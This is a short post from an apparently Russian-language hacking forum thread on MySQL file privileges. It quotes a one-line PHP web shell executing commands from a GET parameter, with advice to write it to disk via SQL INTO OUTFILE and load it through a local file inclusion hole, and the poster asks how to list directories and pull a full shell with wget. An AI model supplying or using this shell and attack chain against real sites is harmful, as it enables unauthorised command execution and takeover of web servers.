Тема: File_priv
Показать сообщение отдельно

  #5  
Старый 09.09.2008, 05:12
DDoSька
Постоянный
Регистрация: 05.05.2008
Сообщений: 403
Провел на форуме:
2375039

Репутация: 1160
Отправить сообщение для DDoSька с помощью ICQ
По умолчанию

Цитата:
Сообщение от Spyder  
самый маленький шелл это
<? system($_GET[c]) ?>
записываешь через инто аутфайл и инклудишь

Вообще если у тебя есть локальный инклуд, попробуй найти на сайте какой нить скрипт заливки картинок, аватаров в форуме например
Воспользовался конструкцие как у Спайдера,но не умею юзать я его,к сожалению =\
Как там директорию посмотреть ...php?c=-ls la?
Как с этого залить полноценный шелл? wget?
zДайте пожалуйста полную констркуцию запроса =)
ЗЫ: .php?c= echo "qwe"; -сработало xD

Последний раз редактировалось DDoSька; 09.09.2008 в 05:14..